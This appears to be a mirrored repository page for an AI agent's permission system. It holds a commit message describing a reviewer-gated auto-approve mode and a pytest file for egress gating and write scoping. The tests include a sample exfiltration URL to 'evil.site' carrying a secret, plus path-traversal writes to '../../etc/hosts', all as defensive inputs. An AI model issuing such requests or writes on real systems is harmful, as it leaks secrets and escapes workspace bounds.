mirror of
https://github.com/andrewyng/openworker.git
synced 2026-09-11 14:50:14 +00:00
The mode from ocw-context/docs/reviewed-auto-mode.md (rev. 4), v1 scope.
coworker/reviewer.py (new)
- The 8.3 prompt verbatim, cache-shaped: instructions + known world (folders
and remotes only) + user-message history in the stable prefix; this turn's
request and ONE action in the suffix.
- parse_verdict: any defect (empty, non-JSON, unknown verdict) -> unsure.
There is no parse path that results in execution (8.5).
- Reviewer.review never raises: provider errors and timeouts -> unsure.
Metering counters (checks / verdicts / tokens) for 1.7.
- AGENT_DENY_MESSAGE: the terse, non-diagnostic refusal the agent gets on a
deny; the full reason goes to the user only (8.4 asymmetry).
coworker/engine.py
- Reviewer consulted ONLY when: attached, mode is AUTO_APPROVE, session
explicitly attended (unset is_attended counts as NOT attended, so
automations can never be reviewed), fewer than two denials this turn.
- Consulted ONLY on decisions the gate marked needs_user - hard denies
never reach it, so it can only turn "ask" into "allow" (1.2).
- One action per request, fired concurrently for all of a turn's escalating
calls before the sequential authorize loop (8.6): a verdict cannot land
on the wrong action, and approval cards still reach the human one at a
time in call order.
- allow -> runs, audited with the reason. deny -> blocked; user event
carries the full reviewer reason + allow_anyway; agent message carries
only AGENT_DENY_MESSAGE. unsure -> today's card.
- Reviewer sees the user's words only, extracted mechanically from
role=user messages - never agent output, never tool results (4.4).
coworker/permissions.py
- Mode.AUTO renamed Mode.BYPASS_APPROVALS ("bypass-approvals"); legacy
"auto" still parses via _missing_ so configs, saved sessions, and the
golden decision table are untouched.
- Mode.AUTO_APPROVE ("auto-approve"): gate-identical to INTERACTIVE except
session grants ("always allow this ...") no longer auto-allow - they
route to the reviewer instead (1.5: out-of-band standing policy may skip
the judge; an in-flow click may not). Config allowlists still skip.
- _domain_allowed(include_session=False) checks the user-settings list only.
coworker/config.py: auto_approve flag, off by default, _GLOBAL_ONLY (a
cloned repo cannot hand itself a looser reviewer). agent.py attaches the
Reviewer only when the flag is on; without it AUTO_APPROVE behaves exactly
like INTERACTIVE.
server/manager.py: autonomy audit ranks auto-approve above interactive
(turning the reviewer on IS raising autonomy) and below bypass.
GUI: mode picker label "Full access" -> "Bypass approvals" (wire value
"auto" kept). Verified live against the real sidecar; e2e spec updated;
tsc and all 111 GUI unit tests pass.
Tests: tests/test_auto_approve.py (33) - gate behaviour per mode, fail-
closed parsing, prompt shape, deny asymmetry, retry guard, attended
gating, hard-deny isolation, per-action verdict landing, and that the
reviewer never sees agent prose. Permission suites + golden table: 146
passing unchanged.
117 lines
5.1 KiB
Python
117 lines
5.1 KiB
Python
"""PR1 — egress split, override tightening, and write-path scoping.
|
|
|
|
Covers the parts of the golden matrix that need a configured override resolver or exercise
|
|
the helpers directly. See `ocw-context/docs/reviewed-auto-mode.md` Part 3.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
from pathlib import Path
|
|
|
|
import pytest
|
|
|
|
from coworker.permissions import Mode, PermissionEngine, write_paths
|
|
from coworker.risk import RiskClass, classify
|
|
|
|
|
|
# -- egress classification ------------------------------------------------------
|
|
def test_web_fetch_is_egress_not_read():
|
|
assert classify("web_fetch") is RiskClass.EGRESS
|
|
# web_search stays a read: it hits a fixed configured provider, not a model-chosen host.
|
|
assert classify("web_search") is RiskClass.READ
|
|
|
|
|
|
@pytest.mark.parametrize(
|
|
"mode,expected_needs_user,expected_allowed",
|
|
[
|
|
(Mode.INTERACTIVE, True, False), # asks
|
|
(Mode.CUSTOM, True, False), # asks
|
|
(Mode.PLAN, False, False), # denied (read-only, egress is not a read)
|
|
(Mode.DISCUSS, False, False), # denied
|
|
(Mode.BYPASS_APPROVALS, False, True), # allowed
|
|
],
|
|
)
|
|
def test_web_fetch_gated_in_every_mode(tmp_path, mode, expected_needs_user, expected_allowed):
|
|
eng = PermissionEngine(workspace_root=tmp_path, mode=mode)
|
|
d = eng.evaluate("web_fetch", {"url": "https://evil.site/log?d=SECRET"}, None)
|
|
assert d.allowed is expected_allowed
|
|
assert d.needs_user is expected_needs_user
|
|
|
|
|
|
def test_egress_domain_allowlist_subdomain_match(tmp_path):
|
|
eng = PermissionEngine(workspace_root=tmp_path, allowed_domains=["python.org"])
|
|
assert eng.evaluate("web_fetch", {"url": "https://docs.python.org/3"}, None).allowed
|
|
# a look-alike that merely ends with the string must NOT match
|
|
assert not eng.evaluate("web_fetch", {"url": "https://evil-python.org/x"}, None).allowed
|
|
|
|
|
|
def test_egress_session_domain_grant(tmp_path):
|
|
eng = PermissionEngine(workspace_root=tmp_path)
|
|
assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).needs_user
|
|
eng.allow_domain_for_session("https://api.github.com/anything")
|
|
assert eng.evaluate("web_fetch", {"url": "https://api.github.com/x"}, None).allowed
|
|
|
|
|
|
# -- override tightening --------------------------------------------------------
|
|
def _override(mapping):
|
|
return lambda name: mapping.get(name)
|
|
|
|
|
|
def test_override_cannot_downgrade_builtin_write(tmp_path):
|
|
# A user override marking write_file as a harmless read must be ignored: path scoping
|
|
# and the read-only gate both key off the class, so a downgrade would switch off both.
|
|
ov = _override({"write_file": RiskClass.READ})
|
|
assert classify("write_file", None, ov) is RiskClass.WRITE_LOCAL
|
|
|
|
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.PLAN, risk_overrides=ov)
|
|
d = eng.evaluate("write_file", {"path": "../../escape.txt", "content": "x"}, None)
|
|
assert not d.allowed # still blocked; the downgrade did nothing
|
|
|
|
|
|
def test_override_can_still_relax_a_plugin_tool(tmp_path):
|
|
# The intended use survives: a non-built-in (MCP) tool defaulting to external can be
|
|
# relaxed to read.
|
|
from types import SimpleNamespace
|
|
|
|
ov = _override({"mcp__notion__search": RiskClass.READ})
|
|
meta = SimpleNamespace(requires_approval=True, category="mcp")
|
|
assert classify("mcp__notion__search", meta, ov) is RiskClass.READ
|
|
|
|
|
|
def test_override_may_tighten(tmp_path):
|
|
# Tightening a plugin read up to exec is honoured.
|
|
ov = _override({"mcp__x__run": RiskClass.EXEC})
|
|
assert classify("mcp__x__run", None, ov) is RiskClass.EXEC
|
|
|
|
|
|
# -- write-path extraction / scoping -------------------------------------------
|
|
def test_write_paths_simple_tools():
|
|
assert write_paths("write_file", {"path": "a.txt"}) == (["a.txt"], True)
|
|
assert write_paths("replace_in_file", {"path": "b.py"}) == (["b.py"], True)
|
|
# a write tool with no locatable path → not located → caller fails closed
|
|
assert write_paths("write_file", {}) == ([], False)
|
|
|
|
|
|
def test_write_paths_from_patch_blob():
|
|
patch = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"
|
|
assert write_paths("apply_patch", {"patch": patch}) == (["src/app.py"], True)
|
|
diff = "--- a/old.py\n+++ b/new.py\n@@\n-a\n+b"
|
|
assert write_paths("apply_unified_diff", {"diff": diff}) == (["new.py"], True)
|
|
|
|
|
|
def test_unknown_write_tool_fails_closed(tmp_path):
|
|
# A tool promoted to write via an override, whose path we can't locate, must not slip
|
|
# through auto mode unscoped — it asks instead.
|
|
ov = _override({"weird_writer": RiskClass.WRITE_LOCAL})
|
|
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.BYPASS_APPROVALS, risk_overrides=ov)
|
|
d = eng.evaluate("weird_writer", {"blob": "..."}, None)
|
|
assert not d.allowed and d.needs_user
|
|
|
|
|
|
def test_patch_scoping_holds_in_auto_mode(tmp_path):
|
|
eng = PermissionEngine(workspace_root=tmp_path, mode=Mode.BYPASS_APPROVALS)
|
|
escape = "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"
|
|
assert not eng.evaluate("apply_patch", {"patch": escape}, None).allowed
|
|
ok = "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"
|
|
assert eng.evaluate("apply_patch", {"patch": ok}, None).allowed
|